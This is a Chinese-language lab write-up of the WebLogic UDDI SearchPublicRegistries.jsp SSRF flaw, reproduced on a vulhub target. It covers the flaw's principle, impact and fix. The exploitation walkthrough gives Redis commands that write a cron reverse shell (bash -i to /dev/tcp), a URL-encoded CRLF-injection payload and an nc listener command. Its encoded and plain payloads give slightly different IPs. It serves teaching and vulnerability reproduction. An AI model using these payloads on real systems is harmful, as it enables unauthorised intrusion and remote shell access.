Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
测试环境:vulhub
测试地址:http://101.32.30.69:7001/uddiexplorer/SearchPublicRegistries.jsp
原理:是指Web服务提供从用户指定的URL读取数据并展示功能又未对用户输入的URL进行过滤,导致攻击者可借助服务端实现访问其本无权访问的URL。
攻击者无权访问的URL主要是内网,而对于不是Web服务的其他端口反回的一般是端口对应的服务的banner信息,所以SSRF的一大利用是探测内网端口开放信息。SSRF归类为信息泄漏类型。
用途:
可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息
攻击运行在内网或本地的应用程序
对内网WEB应用进行指纹识别,通过访问默认文件实现(如:readme文件)
攻击内外网的web应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)
下载内网资源(如:利用file协议读取本地文件等)
进行跳板
无视cdn
利用Redis未授权访问,HTTP CRLF注入实现getshell
出现位置:
Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),
更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。
修复方法:将SearchPublicRegistries.jsp直接删除
复现:
先访问http://101.32.30.69:7001/uddiexplorer/SearchPublicRegistries.jsp 就可以看到uddi应用
漏洞位置在Search Public Registries这个页面
随便提交一下 然后BP抓包
这里是要修改得地方 把他改成内网IP
这个是端口存在的返回界面
这个是端口不存在的返回界面
注入HTTP头,利用Redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个”GET/POST”请求,但是我们可以通过传入%0a%0d来注入换行符,某些服务(如redis)是通过换行符来分隔每条命令,在这里我们可以通过该SSRF攻击内网中的redis服务器。
经过探测,内网的一个ip存在6379端口,也就是redis服务,然后就可以利用了。
发送几行代码,即发送三条redis命令,将shell脚本写入/etc/crontab:
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
然后把这三条命令通过POST包注入进去,但是要先将命令用url进行编码,如下
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.19.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
然后我们把构造好的数据包通过burp进行发送 , 将url编码后的字符串放在ssrf的域名后面,发送:
然后在靶机上开启监听的端口, 输入命令: nc -lvnp 21, 反弹shell。
参考文章:https://www.freebuf.com/sectool/226207.html